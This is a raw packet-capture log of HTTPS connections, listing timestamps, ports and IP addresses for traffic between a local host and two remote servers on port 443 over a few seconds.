Nov 5, 2024 22:44:33.744513035 CET	49951	443	192.168.2.5	172.217.23.110
Nov 5, 2024 22:44:33.746021032 CET	49951	443	192.168.2.5	172.217.23.110
Nov 5, 2024 22:44:33.746027946 CET	443	49951	172.217.23.110	192.168.2.5
Nov 5, 2024 22:44:33.746223927 CET	443	49951	172.217.23.110	192.168.2.5
Nov 5, 2024 22:44:33.746275902 CET	49951	443	192.168.2.5	172.217.23.110
Nov 5, 2024 22:44:33.746650934 CET	49951	443	192.168.2.5	172.217.23.110
Nov 5, 2024 22:44:33.759334087 CET	443	49950	172.217.23.110	192.168.2.5
Nov 5, 2024 22:44:33.791331053 CET	443	49951	172.217.23.110	192.168.2.5
Nov 5, 2024 22:44:33.956813097 CET	443	49952	13.107.246.45	192.168.2.5
Nov 5, 2024 22:44:33.957468987 CET	49952	443	192.168.2.5	13.107.246.45
Nov 5, 2024 22:44:33.957483053 CET	443	49952	13.107.246.45	192.168.2.5
Nov 5, 2024 22:44:33.958036900 CET	49952	443	192.168.2.5	13.107.246.45
Nov 5, 2024 22:44:33.958041906 CET	443	49952	13.107.246.45	192.168.2.5
Nov 5, 2024 22:44:34.002573013 CET	443	49953	13.107.246.45	192.168.2.5
Nov 5, 2024 22:44:34.003779888 CET	49953	443	192.168.2.5	13.107.246.45
Nov 5, 2024 22:44:34.003798962 CET	443	49953	13.107.246.45	192.168.2.5
Nov 5, 2024 22:44:34.004273891 CET	49953	443	192.168.2.5	13.107.246.45
Nov 5, 2024 22:44:34.004278898 CET	443	49953	13.107.246.45	192.168.2.5
Nov 5, 2024 22:44:34.045412064 CET	443	49954	13.107.246.45	192.168.2.5
Nov 5, 2024 22:44:34.087165117 CET	443	49950	172.217.23.110	192.168.2.5
Nov 5, 2024 22:44:34.087724924 CET	49950	443	192.168.2.5	172.217.23.110
Nov 5, 2024 22:44:34.087743044 CET	443	49950	172.217.23.110	192.168.2.5
Nov 5, 2024 22:44:34.087775946 CET	49950	443	192.168.2.5	172.217.23.110
Nov 5, 2024 22:44:34.091281891 CET	49950	443	192.168.2.5	172.217.23.110
Nov 5, 2024 22:44:34.091326952 CET	443	49950	172.217.23.110	192.168.2.5
Nov 5, 2024 22:44:34.091396093 CET	49950	443	192.168.2.5	172.217.23.110
Nov 5, 2024 22:44:34.092058897 CET	49957	443	192.168.2.5	172.217.23.110
Nov 5, 2024 22:44:34.092084885 CET	443	49957	172.217.23.110	192.168.2.5
Nov 5, 2024 22:44:34.092355013 CET	443	49952	13.107.246.45	192.168.2.5
Nov 5, 2024 22:44:34.092432022 CET	49957	443	192.168.2.5	172.217.23.110
Nov 5, 2024 22:44:34.092551947 CET	443	49952	13.107.246.45	192.168.2.5
Nov 5, 2024 22:44:34.092881918 CET	49957	443	192.168.2.5	172.217.23.110
Nov 5, 2024 22:44:34.092895031 CET	443	49957	172.217.23.110	192.168.2.5
Nov 5, 2024 22:44:34.092902899 CET	49952	443	192.168.2.5	13.107.246.45
Nov 5, 2024 22:44:34.093750000 CET	49954	443	192.168.2.5	13.107.246.45
Nov 5, 2024 22:44:34.093758106 CET	443	49954	13.107.246.45	192.168.2.5
Nov 5, 2024 22:44:34.094219923 CET	49954	443	192.168.2.5	13.107.246.45
Nov 5, 2024 22:44:34.094227076 CET	443	49954	13.107.246.45	192.168.2.5
Nov 5, 2024 22:44:34.109292030 CET	49952	443	192.168.2.5	13.107.246.45
Nov 5, 2024 22:44:34.109292030 CET	49952	443	192.168.2.5	13.107.246.45
Nov 5, 2024 22:44:34.109303951 CET	443	49952	13.107.246.45	192.168.2.5
Nov 5, 2024 22:44:34.109312057 CET	443	49952	13.107.246.45	192.168.2.5
Nov 5, 2024 22:44:34.118509054 CET	49959	443	192.168.2.5	13.107.246.45
Nov 5, 2024 22:44:34.118530035 CET	443	49959	13.107.246.45	192.168.2.5
Nov 5, 2024 22:44:34.118727922 CET	49959	443	192.168.2.5	13.107.246.45
Nov 5, 2024 22:44:34.118906021 CET	49959	443	192.168.2.5	13.107.246.45
Nov 5, 2024 22:44:34.118917942 CET	443	49959	13.107.246.45	192.168.2.5
Nov 5, 2024 22:44:34.129482985 CET	443	49951	172.217.23.110	192.168.2.5
Nov 5, 2024 22:44:34.129537106 CET	49951	443	192.168.2.5	172.217.23.110
Nov 5, 2024 22:44:34.129554987 CET	443	49951	172.217.23.110	192.168.2.5
Nov 5, 2024 22:44:34.129595995 CET	49951	443	192.168.2.5	172.217.23.110
Nov 5, 2024 22:44:34.134918928 CET	443	49953	13.107.246.45	192.168.2.5
Nov 5, 2024 22:44:34.136043072 CET	443	49953	13.107.246.45	192.168.2.5
Nov 5, 2024 22:44:34.136100054 CET	49953	443	192.168.2.5	13.107.246.45
Nov 5, 2024 22:44:34.136847973 CET	49953	443	192.168.2.5	13.107.246.45
Nov 5, 2024 22:44:34.136857033 CET	443	49953	13.107.246.45	192.168.2.5
Nov 5, 2024 22:44:34.136887074 CET	49953	443	192.168.2.5	13.107.246.45
Nov 5, 2024 22:44:34.136890888 CET	443	49953	13.107.246.45	192.168.2.5
Nov 5, 2024 22:44:34.140495062 CET	49960	443	192.168.2.5	13.107.246.45
Nov 5, 2024 22:44:34.140532017 CET	443	49960	13.107.246.45	192.168.2.5
Nov 5, 2024 22:44:34.140620947 CET	49960	443	192.168.2.5	13.107.246.45
Nov 5, 2024 22:44:34.141139984 CET	49960	443	192.168.2.5	13.107.246.45
Nov 5, 2024 22:44:34.141159058 CET	443	49960	13.107.246.45	192.168.2.5
Nov 5, 2024 22:44:34.230221033 CET	443	49955	13.107.246.45	192.168.2.5
Nov 5, 2024 22:44:34.230845928 CET	49955	443	192.168.2.5	13.107.246.45
Nov 5, 2024 22:44:34.230860949 CET	443	49955	13.107.246.45	192.168.2.5
Nov 5, 2024 22:44:34.231667042 CET	49955	443	192.168.2.5	13.107.246.45
Nov 5, 2024 22:44:34.231672049 CET	443	49955	13.107.246.45	192.168.2.5
Nov 5, 2024 22:44:34.247880936 CET	443	49954	13.107.246.45	192.168.2.5
Nov 5, 2024 22:44:34.248018026 CET	443	49954	13.107.246.45	192.168.2.5
Nov 5, 2024 22:44:34.248075008 CET	49954	443	192.168.2.5	13.107.246.45
Nov 5, 2024 22:44:34.248543024 CET	49954	443	192.168.2.5	13.107.246.45
Nov 5, 2024 22:44:34.248548031 CET	443	49954	13.107.246.45	192.168.2.5
Nov 5, 2024 22:44:34.248558998 CET	49954	443	192.168.2.5	13.107.246.45
Nov 5, 2024 22:44:34.248562098 CET	443	49954	13.107.246.45	192.168.2.5
Nov 5, 2024 22:44:34.250236034 CET	443	49956	13.107.246.45	192.168.2.5
Nov 5, 2024 22:44:34.251513958 CET	49956	443	192.168.2.5	13.107.246.45
Nov 5, 2024 22:44:34.251529932 CET	443	49956	13.107.246.45	192.168.2.5
Nov 5, 2024 22:44:34.252305984 CET	49956	443	192.168.2.5	13.107.246.45
Nov 5, 2024 22:44:34.252315044 CET	443	49956	13.107.246.45	192.168.2.5
Nov 5, 2024 22:44:34.254343033 CET	49961	443	192.168.2.5	13.107.246.45
Nov 5, 2024 22:44:34.254364967 CET	443	49961	13.107.246.45	192.168.2.5
Nov 5, 2024 22:44:34.254435062 CET	49961	443	192.168.2.5	13.107.246.45
Nov 5, 2024 22:44:34.254576921 CET	49961	443	192.168.2.5	13.107.246.45
Nov 5, 2024 22:44:34.254587889 CET	443	49961	13.107.246.45	192.168.2.5
Nov 5, 2024 22:44:34.262306929 CET	443	49951	172.217.23.110	192.168.2.5
Nov 5, 2024 22:44:34.262347937 CET	443	49951	172.217.23.110	192.168.2.5
Nov 5, 2024 22:44:34.262367010 CET	49951	443	192.168.2.5	172.217.23.110
Nov 5, 2024 22:44:34.262384892 CET	49951	443	192.168.2.5	172.217.23.110
Nov 5, 2024 22:44:34.361187935 CET	443	49955	13.107.246.45	192.168.2.5
Nov 5, 2024 22:44:34.361282110 CET	443	49955	13.107.246.45	192.168.2.5
Nov 5, 2024 22:44:34.361407995 CET	443	49955	13.107.246.45	192.168.2.5
Nov 5, 2024 22:44:34.361412048 CET	49955	443	192.168.2.5	13.107.246.45
Nov 5, 2024 22:44:34.361460924 CET	49955	443	192.168.2.5	13.107.246.45
Nov 5, 2024 22:44:34.361835957 CET	49955	443	192.168.2.5	13.107.246.45
Nov 5, 2024 22:44:34.361844063 CET	443	49955	13.107.246.45	192.168.2.5
Nov 5, 2024 22:44:34.370184898 CET	49962	443	192.168.2.5	13.107.246.45
Nov 5, 2024 22:44:34.370229959 CET	443	49962	13.107.246.45	192.168.2.5
Nov 5, 2024 22:44:34.370357990 CET	49962	443	192.168.2.5	13.107.246.45
Nov 5, 2024 22:44:34.371706963 CET	49962	443	192.168.2.5	13.107.246.45
Nov 5, 2024 22:44:34.371725082 CET	443	49962	13.107.246.45	192.168.2.5
Nov 5, 2024 22:44:34.384634972 CET	443	49956	13.107.246.45	192.168.2.5
Nov 5, 2024 22:44:34.384840012 CET	443	49956	13.107.246.45	192.168.2.5
Nov 5, 2024 22:44:34.384923935 CET	49956	443	192.168.2.5	13.107.246.45
Nov 5, 2024 22:44:34.385004044 CET	49956	443	192.168.2.5	13.107.246.45
Nov 5, 2024 22:44:34.385004044 CET	49956	443	192.168.2.5	13.107.246.45
Nov 5, 2024 22:44:34.385016918 CET	443	49956	13.107.246.45	192.168.2.5
Nov 5, 2024 22:44:34.385025978 CET	443	49956	13.107.246.45	192.168.2.5
Nov 5, 2024 22:44:34.389014006 CET	49963	443	192.168.2.5	13.107.246.45
Nov 5, 2024 22:44:34.389028072 CET	443	49963	13.107.246.45	192.168.2.5
Nov 5, 2024 22:44:34.389256001 CET	49963	443	192.168.2.5	13.107.246.45
Nov 5, 2024 22:44:34.389472961 CET	49963	443	192.168.2.5	13.107.246.45
Nov 5, 2024 22:44:34.389481068 CET	443	49963	13.107.246.45	192.168.2.5
Nov 5, 2024 22:44:34.844458103 CET	443	49959	13.107.246.45	192.168.2.5
Nov 5, 2024 22:44:34.845033884 CET	49959	443	192.168.2.5	13.107.246.45
Nov 5, 2024 22:44:34.845056057 CET	443	49959	13.107.246.45	192.168.2.5
Nov 5, 2024 22:44:34.845516920 CET	49959	443	192.168.2.5	13.107.246.45
Nov 5, 2024 22:44:34.845521927 CET	443	49959	13.107.246.45	192.168.2.5
Nov 5, 2024 22:44:34.922719955 CET	443	49960	13.107.246.45	192.168.2.5
Nov 5, 2024 22:44:34.924923897 CET	49960	443	192.168.2.5	13.107.246.45
Nov 5, 2024 22:44:34.924938917 CET	443	49960	13.107.246.45	192.168.2.5
Nov 5, 2024 22:44:34.925415993 CET	49960	443	192.168.2.5	13.107.246.45
Nov 5, 2024 22:44:34.925421953 CET	443	49960	13.107.246.45	192.168.2.5
Nov 5, 2024 22:44:34.973368883 CET	443	49957	172.217.23.110	192.168.2.5
Nov 5, 2024 22:44:34.973494053 CET	49957	443	192.168.2.5	172.217.23.110
Nov 5, 2024 22:44:34.974092007 CET	443	49957	172.217.23.110	192.168.2.5
Nov 5, 2024 22:44:34.974148989 CET	49957	443	192.168.2.5	172.217.23.110
Nov 5, 2024 22:44:34.974237919 CET	443	49959	13.107.246.45	192.168.2.5
Nov 5, 2024 22:44:34.974257946 CET	443	49959	13.107.246.45	192.168.2.5
Nov 5, 2024 22:44:34.974293947 CET	443	49959	13.107.246.45	192.168.2.5
Nov 5, 2024 22:44:34.974313021 CET	49959	443	192.168.2.5	13.107.246.45
Nov 5, 2024 22:44:34.974339008 CET	49959	443	192.168.2.5	13.107.246.45
Nov 5, 2024 22:44:34.982656956 CET	443	49961	13.107.246.45	192.168.2.5
Nov 5, 2024 22:44:35.009949923 CET	49959	443	192.168.2.5	13.107.246.45
Nov 5, 2024 22:44:35.009965897 CET	443	49959	13.107.246.45	192.168.2.5
Nov 5, 2024 22:44:35.010021925 CET	49959	443	192.168.2.5	13.107.246.45
Nov 5, 2024 22:44:35.010029078 CET	443	49959	13.107.246.45	192.168.2.5
Nov 5, 2024 22:44:35.010199070 CET	49961	443	192.168.2.5	13.107.246.45
Nov 5, 2024 22:44:35.010220051 CET	443	49961	13.107.246.45	192.168.2.5
Nov 5, 2024 22:44:35.010632992 CET	49961	443	192.168.2.5	13.107.246.45
Nov 5, 2024 22:44:35.010637045 CET	443	49961	13.107.246.45	192.168.2.5
Nov 5, 2024 22:44:35.012845039 CET	49964	443	192.168.2.5	13.107.246.45
Nov 5, 2024 22:44:35.012888908 CET	443	49964	13.107.246.45	192.168.2.5
Nov 5, 2024 22:44:35.012949944 CET	49964	443	192.168.2.5	13.107.246.45
Nov 5, 2024 22:44:35.013219118 CET	49964	443	192.168.2.5	13.107.246.45
Nov 5, 2024 22:44:35.013233900 CET	443	49964	13.107.246.45	192.168.2.5
Nov 5, 2024 22:44:35.057301044 CET	443	49960	13.107.246.45	192.168.2.5
Nov 5, 2024 22:44:35.057358027 CET	443	49960	13.107.246.45	192.168.2.5
Nov 5, 2024 22:44:35.057467937 CET	49960	443	192.168.2.5	13.107.246.45
Nov 5, 2024 22:44:35.057596922 CET	49960	443	192.168.2.5	13.107.246.45
Nov 5, 2024 22:44:35.057610035 CET	443	49960	13.107.246.45	192.168.2.5
Nov 5, 2024 22:44:35.057626963 CET	49960	443	192.168.2.5	13.107.246.45
Nov 5, 2024 22:44:35.057636976 CET	443	49960	13.107.246.45	192.168.2.5
Nov 5, 2024 22:44:35.059751987 CET	49965	443	192.168.2.5	13.107.246.45
Nov 5, 2024 22:44:35.059772015 CET	443	49965	13.107.246.45	192.168.2.5
Nov 5, 2024 22:44:35.059842110 CET	49965	443	192.168.2.5	13.107.246.45
Nov 5, 2024 22:44:35.059961081 CET	49965	443	192.168.2.5	13.107.246.45
Nov 5, 2024 22:44:35.059967995 CET	443	49965	13.107.246.45	192.168.2.5
Nov 5, 2024 22:44:35.103127956 CET	443	49962	13.107.246.45	192.168.2.5
Nov 5, 2024 22:44:35.118859053 CET	443	49963	13.107.246.45	192.168.2.5
Nov 5, 2024 22:44:35.127094984 CET	49962	443	192.168.2.5	13.107.246.45
Nov 5, 2024 22:44:35.127106905 CET	443	49962	13.107.246.45	192.168.2.5
Nov 5, 2024 22:44:35.127329111 CET	49962	443	192.168.2.5	13.107.246.45
Nov 5, 2024 22:44:35.127335072 CET	443	49962	13.107.246.45	192.168.2.5
Nov 5, 2024 22:44:35.130369902 CET	49963	443	192.168.2.5	13.107.246.45
Nov 5, 2024 22:44:35.130383015 CET	443	49963	13.107.246.45	192.168.2.5
Nov 5, 2024 22:44:35.130753994 CET	49963	443	192.168.2.5	13.107.246.45
Nov 5, 2024 22:44:35.130759001 CET	443	49963	13.107.246.45	192.168.2.5
Nov 5, 2024 22:44:35.134955883 CET	443	49961	13.107.246.45	192.168.2.5
Nov 5, 2024 22:44:35.135183096 CET	443	49961	13.107.246.45	192.168.2.5
Nov 5, 2024 22:44:35.135241032 CET	49961	443	192.168.2.5	13.107.246.45
Nov 5, 2024 22:44:35.135303020 CET	49961	443	192.168.2.5	13.107.246.45
Nov 5, 2024 22:44:35.135315895 CET	443	49961	13.107.246.45	192.168.2.5
Nov 5, 2024 22:44:35.135329008 CET	49961	443	192.168.2.5	13.107.246.45
Nov 5, 2024 22:44:35.135333061 CET	443	49961	13.107.246.45	192.168.2.5
Nov 5, 2024 22:44:35.138286114 CET	49966	443	192.168.2.5	13.107.246.45
Nov 5, 2024 22:44:35.138329029 CET	443	49966	13.107.246.45	192.168.2.5
Nov 5, 2024 22:44:35.138489962 CET	49966	443	192.168.2.5	13.107.246.45
Nov 5, 2024 22:44:35.138489962 CET	49966	443	192.168.2.5	13.107.246.45
Nov 5, 2024 22:44:35.138525009 CET	443	49966	13.107.246.45	192.168.2.5
Nov 5, 2024 22:44:35.256453037 CET	443	49963	13.107.246.45	192.168.2.5
Nov 5, 2024 22:44:35.256511927 CET	443	49963	13.107.246.45	192.168.2.5
Nov 5, 2024 22:44:35.256551981 CET	443	49963	13.107.246.45	192.168.2.5
Nov 5, 2024 22:44:35.256557941 CET	49963	443	192.168.2.5	13.107.246.45
Nov 5, 2024 22:44:35.256606102 CET	49963	443	192.168.2.5	13.107.246.45
Nov 5, 2024 22:44:35.259989977 CET	443	49962	13.107.246.45	192.168.2.5
Nov 5, 2024 22:44:35.260173082 CET	443	49962	13.107.246.45	192.168.2.5
Nov 5, 2024 22:44:35.260341883 CET	49962	443	192.168.2.5	13.107.246.45
Nov 5, 2024 22:44:35.295471907 CET	49963	443	192.168.2.5	13.107.246.45
Nov 5, 2024 22:44:35.295479059 CET	443	49963	13.107.246.45	192.168.2.5
Nov 5, 2024 22:44:35.295490980 CET	49963	443	192.168.2.5	13.107.246.45
Nov 5, 2024 22:44:35.295495033 CET	443	49963	13.107.246.45	192.168.2.5
Nov 5, 2024 22:44:35.296813965 CET	49962	443	192.168.2.5	13.107.246.45
Nov 5, 2024 22:44:35.296834946 CET	443	49962	13.107.246.45	192.168.2.5
Nov 5, 2024 22:44:35.296844959 CET	49962	443	192.168.2.5	13.107.246.45
Nov 5, 2024 22:44:35.296849966 CET	443	49962	13.107.246.45	192.168.2.5
Nov 5, 2024 22:44:35.379571915 CET	49967	443	192.168.2.5	13.107.246.45
Nov 5, 2024 22:44:35.379594088 CET	443	49967	13.107.246.45	192.168.2.5
Nov 5, 2024 22:44:35.379664898 CET	49967	443	192.168.2.5	13.107.246.45
Nov 5, 2024 22:44:35.382211924 CET	49968	443	192.168.2.5	13.107.246.45
Nov 5, 2024 22:44:35.382227898 CET	443	49968	13.107.246.45	192.168.2.5
Nov 5, 2024 22:44:35.382487059 CET	49968	443	192.168.2.5	13.107.246.45
Nov 5, 2024 22:44:35.580116034 CET	49967	443	192.168.2.5	13.107.246.45
Nov 5, 2024 22:44:35.580128908 CET	443	49967	13.107.246.45	192.168.2.5
Nov 5, 2024 22:44:35.627249956 CET	49968	443	192.168.2.5	13.107.246.45
Nov 5, 2024 22:44:35.627276897 CET	443	49968	13.107.246.45	192.168.2.5
Nov 5, 2024 22:44:35.795501947 CET	443	49965	13.107.246.45	192.168.2.5
Nov 5, 2024 22:44:35.848839998 CET	49965	443	192.168.2.5	13.107.246.45
Nov 5, 2024 22:44:35.873471022 CET	443	49966	13.107.246.45	192.168.2.5
Nov 5, 2024 22:44:35.926948071 CET	49966	443	192.168.2.5	13.107.246.45
Nov 5, 2024 22:44:35.927365065 CET	443	49964	13.107.246.45	192.168.2.5
Nov 5, 2024 22:44:35.973823071 CET	49964	443	192.168.2.5	13.107.246.45
Nov 5, 2024 22:44:36.114387035 CET	49965	443	192.168.2.5	13.107.246.45
Nov 5, 2024 22:44:36.114408016 CET	443	49965	13.107.246.45	192.168.2.5
Nov 5, 2024 22:44:36.114981890 CET	49965	443	192.168.2.5	13.107.246.45
Nov 5, 2024 22:44:36.114990950 CET	443	49965	13.107.246.45	192.168.2.5
Nov 5, 2024 22:44:36.115458012 CET	49966	443	192.168.2.5	13.107.246.45
Nov 5, 2024 22:44:36.115484953 CET	443	49966	13.107.246.45	192.168.2.5
Nov 5, 2024 22:44:36.115864038 CET	49966	443	192.168.2.5	13.107.246.45
Nov 5, 2024 22:44:36.115868092 CET	443	49966	13.107.246.45	192.168.2.5
Nov 5, 2024 22:44:36.116650105 CET	49964	443	192.168.2.5	13.107.246.45
Nov 5, 2024 22:44:36.116653919 CET	443	49964	13.107.246.45	192.168.2.5
Nov 5, 2024 22:44:36.117034912 CET	49964	443	192.168.2.5	13.107.246.45
Nov 5, 2024 22:44:36.117038965 CET	443	49964	13.107.246.45	192.168.2.5
Nov 5, 2024 22:44:36.248678923 CET	443	49964	13.107.246.45	192.168.2.5
Nov 5, 2024 22:44:36.248745918 CET	443	49964	13.107.246.45	192.168.2.5
Nov 5, 2024 22:44:36.248797894 CET	49964	443	192.168.2.5	13.107.246.45
Nov 5, 2024 22:44:36.249286890 CET	443	49966	13.107.246.45	192.168.2.5
Nov 5, 2024 22:44:36.249352932 CET	443	49966	13.107.246.45	192.168.2.5
Nov 5, 2024 22:44:36.249393940 CET	49966	443	192.168.2.5	13.107.246.45
Nov 5, 2024 22:44:36.253211021 CET	49964	443	192.168.2.5	13.107.246.45
Nov 5, 2024 22:44:36.253230095 CET	443	49964	13.107.246.45	192.168.2.5
Nov 5, 2024 22:44:36.253240108 CET	49964	443	192.168.2.5	13.107.246.45
Nov 5, 2024 22:44:36.253246069 CET	443	49964	13.107.246.45	192.168.2.5
Nov 5, 2024 22:44:36.255892992 CET	49966	443	192.168.2.5	13.107.246.45
Nov 5, 2024 22:44:36.255897999 CET	443	49966	13.107.246.45	192.168.2.5
Nov 5, 2024 22:44:36.255908012 CET	49966	443	192.168.2.5	13.107.246.45
Nov 5, 2024 22:44:36.255912066 CET	443	49966	13.107.246.45	192.168.2.5
Nov 5, 2024 22:44:36.274389982 CET	49969	443	192.168.2.5	13.107.246.45
Nov 5, 2024 22:44:36.274426937 CET	443	49969	13.107.246.45	192.168.2.5
Nov 5, 2024 22:44:36.274483919 CET	49969	443	192.168.2.5	13.107.246.45
Nov 5, 2024 22:44:36.280219078 CET	49970	443	192.168.2.5	13.107.246.45
Nov 5, 2024 22:44:36.280245066 CET	443	49970	13.107.246.45	192.168.2.5
Nov 5, 2024 22:44:36.280307055 CET	49970	443	192.168.2.5	13.107.246.45
Nov 5, 2024 22:44:36.280551910 CET	49969	443	192.168.2.5	13.107.246.45
Nov 5, 2024 22:44:36.280570984 CET	443	49969	13.107.246.45	192.168.2.5
Nov 5, 2024 22:44:36.281765938 CET	49970	443	192.168.2.5	13.107.246.45
Nov 5, 2024 22:44:36.281778097 CET	443	49970	13.107.246.45	192.168.2.5
Nov 5, 2024 22:44:36.282088041 CET	443	49965	13.107.246.45	192.168.2.5
Nov 5, 2024 22:44:36.282299042 CET	443	49965	13.107.246.45	192.168.2.5
Nov 5, 2024 22:44:36.282344103 CET	49965	443	192.168.2.5	13.107.246.45
Nov 5, 2024 22:44:36.282361984 CET	49965	443	192.168.2.5	13.107.246.45
Nov 5, 2024 22:44:36.282372952 CET	443	49965	13.107.246.45	192.168.2.5
Nov 5, 2024 22:44:36.282382011 CET	49965	443	192.168.2.5	13.107.246.45
Nov 5, 2024 22:44:36.282386065 CET	443	49965	13.107.246.45	192.168.2.5
Nov 5, 2024 22:44:36.285537004 CET	49971	443	192.168.2.5	13.107.246.45
Nov 5, 2024 22:44:36.285564899 CET	443	49971	13.107.246.45	192.168.2.5
Nov 5, 2024 22:44:36.285613060 CET	49971	443	192.168.2.5	13.107.246.45
Nov 5, 2024 22:44:36.285986900 CET	49971	443	192.168.2.5	13.107.246.45
Nov 5, 2024 22:44:36.286004066 CET	443	49971	13.107.246.45	192.168.2.5
Nov 5, 2024 22:44:36.347187996 CET	443	49967	13.107.246.45	192.168.2.5
Nov 5, 2024 22:44:36.348619938 CET	49967	443	192.168.2.5	13.107.246.45
Nov 5, 2024 22:44:36.348638058 CET	443	49967	13.107.246.45	192.168.2.5
Nov 5, 2024 22:44:36.349107027 CET	49967	443	192.168.2.5	13.107.246.45
Nov 5, 2024 22:44:36.349111080 CET	443	49967	13.107.246.45	192.168.2.5
Nov 5, 2024 22:44:36.370096922 CET	443	49968	13.107.246.45	192.168.2.5
Nov 5, 2024 22:44:36.370402098 CET	49968	443	192.168.2.5	13.107.246.45
Nov 5, 2024 22:44:36.370410919 CET	443	49968	13.107.246.45	192.168.2.5
Nov 5, 2024 22:44:36.370800018 CET	49968	443	192.168.2.5	13.107.246.45
Nov 5, 2024 22:44:36.370805025 CET	443	49968	13.107.246.45	192.168.2.5
Nov 5, 2024 22:44:36.481875896 CET	443	49967	13.107.246.45	192.168.2.5
Nov 5, 2024 22:44:36.482091904 CET	443	49967	13.107.246.45	192.168.2.5
Nov 5, 2024 22:44:36.482121944 CET	443	49967	13.107.246.45	192.168.2.5
Nov 5, 2024 22:44:36.482146978 CET	49967	443	192.168.2.5	13.107.246.45
Nov 5, 2024 22:44:36.482181072 CET	49967	443	192.168.2.5	13.107.246.45
Nov 5, 2024 22:44:36.499486923 CET	49967	443	192.168.2.5	13.107.246.45
Nov 5, 2024 22:44:36.499495983 CET	443	49967	13.107.246.45	192.168.2.5
Nov 5, 2024 22:44:36.499516964 CET	49967	443	192.168.2.5	13.107.246.45
Nov 5, 2024 22:44:36.499521971 CET	443	49967	13.107.246.45	192.168.2.5
Nov 5, 2024 22:44:36.500449896 CET	443	49968	13.107.246.45	192.168.2.5
Nov 5, 2024 22:44:36.500581980 CET	443	49968	13.107.246.45	192.168.2.5
Nov 5, 2024 22:44:36.500639915 CET	49968	443	192.168.2.5	13.107.246.45
Nov 5, 2024 22:44:36.552484035 CET	49968	443	192.168.2.5	13.107.246.45
Nov 5, 2024 22:44:36.552495003 CET	443	49968	13.107.246.45	192.168.2.5
Nov 5, 2024 22:44:36.552505016 CET	49968	443	192.168.2.5	13.107.246.45
Nov 5, 2024 22:44:36.552510023 CET	443	49968	13.107.246.45	192.168.2.5
Nov 5, 2024 22:44:36.608198881 CET	49972	443	192.168.2.5	13.107.246.45
Nov 5, 2024 22:44:36.608222961 CET	443	49972	13.107.246.45	192.168.2.5
Nov 5, 2024 22:44:36.608287096 CET	49972	443	192.168.2.5	13.107.246.45
Nov 5, 2024 22:44:36.609157085 CET	49973	443	192.168.2.5	13.107.246.45
Nov 5, 2024 22:44:36.609204054 CET	443	49973	13.107.246.45	192.168.2.5
Nov 5, 2024 22:44:36.609271049 CET	49973	443	192.168.2.5	13.107.246.45
Nov 5, 2024 22:44:36.609705925 CET	49972	443	192.168.2.5	13.107.246.45
Nov 5, 2024 22:44:36.609716892 CET	443	49972	13.107.246.45	192.168.2.5
Nov 5, 2024 22:44:36.609812021 CET	49973	443	192.168.2.5	13.107.246.45
Nov 5, 2024 22:44:36.609827042 CET	443	49973	13.107.246.45	192.168.2.5
Nov 5, 2024 22:44:37.037753105 CET	443	49969	13.107.246.45	192.168.2.5
Nov 5, 2024 22:44:37.040996075 CET	49969	443	192.168.2.5	13.107.246.45
Nov 5, 2024 22:44:37.041013002 CET	443	49969	13.107.246.45	192.168.2.5
Nov 5, 2024 22:44:37.041457891 CET	49969	443	192.168.2.5	13.107.246.45
Nov 5, 2024 22:44:37.041461945 CET	443	49969	13.107.246.45	192.168.2.5
Nov 5, 2024 22:44:37.046538115 CET	443	49971	13.107.246.45	192.168.2.5
Nov 5, 2024 22:44:37.048554897 CET	443	49970	13.107.246.45	192.168.2.5
Nov 5, 2024 22:44:37.048806906 CET	49971	443	192.168.2.5	13.107.246.45
Nov 5, 2024 22:44:37.048819065 CET	443	49971	13.107.246.45	192.168.2.5
Nov 5, 2024 22:44:37.049185038 CET	49971	443	192.168.2.5	13.107.246.45
Nov 5, 2024 22:44:37.049190044 CET	443	49971	13.107.246.45	192.168.2.5
Nov 5, 2024 22:44:37.049451113 CET	49970	443	192.168.2.5	13.107.246.45
Nov 5, 2024 22:44:37.049464941 CET	443	49970	13.107.246.45	192.168.2.5
Nov 5, 2024 22:44:37.049844980 CET	49970	443	192.168.2.5	13.107.246.45
Nov 5, 2024 22:44:37.049849987 CET	443	49970	13.107.246.45	192.168.2.5
Nov 5, 2024 22:44:37.168443918 CET	443	49969	13.107.246.45	192.168.2.5
Nov 5, 2024 22:44:37.173465967 CET	443	49969	13.107.246.45	192.168.2.5
Nov 5, 2024 22:44:37.176529884 CET	49969	443	192.168.2.5	13.107.246.45
Nov 5, 2024 22:44:37.176548958 CET	49969	443	192.168.2.5	13.107.246.45
Nov 5, 2024 22:44:37.176558971 CET	443	49969	13.107.246.45	192.168.2.5
Nov 5, 2024 22:44:37.176568985 CET	49969	443	192.168.2.5	13.107.246.45
Nov 5, 2024 22:44:37.176573992 CET	443	49969	13.107.246.45	192.168.2.5
Nov 5, 2024 22:44:37.179127932 CET	49974	443	192.168.2.5	13.107.246.45
Nov 5, 2024 22:44:37.179157019 CET	443	49974	13.107.246.45	192.168.2.5
Nov 5, 2024 22:44:37.180479050 CET	443	49971	13.107.246.45	192.168.2.5
Nov 5, 2024 22:44:37.180552006 CET	49974	443	192.168.2.5	13.107.246.45
Nov 5, 2024 22:44:37.180664062 CET	443	49971	13.107.246.45	192.168.2.5
Nov 5, 2024 22:44:37.180691004 CET	49974	443	192.168.2.5	13.107.246.45
Nov 5, 2024 22:44:37.180700064 CET	443	49974	13.107.246.45	192.168.2.5
Nov 5, 2024 22:44:37.180708885 CET	49971	443	192.168.2.5	13.107.246.45
Nov 5, 2024 22:44:37.180872917 CET	49971	443	192.168.2.5	13.107.246.45
Nov 5, 2024 22:44:37.180877924 CET	443	49971	13.107.246.45	192.168.2.5
Nov 5, 2024 22:44:37.180885077 CET	49971	443	192.168.2.5	13.107.246.45
Nov 5, 2024 22:44:37.180887938 CET	443	49971	13.107.246.45	192.168.2.5
Nov 5, 2024 22:44:37.182852983 CET	49975	443	192.168.2.5	13.107.246.45
Nov 5, 2024 22:44:37.182934046 CET	443	49975	13.107.246.45	192.168.2.5
Nov 5, 2024 22:44:37.183706999 CET	443	49970	13.107.246.45	192.168.2.5
Nov 5, 2024 22:44:37.183793068 CET	49975	443	192.168.2.5	13.107.246.45
Nov 5, 2024 22:44:37.183809996 CET	443	49970	13.107.246.45	192.168.2.5
Nov 5, 2024 22:44:37.183840036 CET	443	49970	13.107.246.45	192.168.2.5
Nov 5, 2024 22:44:37.183864117 CET	49970	443	192.168.2.5	13.107.246.45
Nov 5, 2024 22:44:37.183892965 CET	49970	443	192.168.2.5	13.107.246.45
Nov 5, 2024 22:44:37.183959007 CET	49970	443	192.168.2.5	13.107.246.45
Nov 5, 2024 22:44:37.183959007 CET	49970	443	192.168.2.5	13.107.246.45
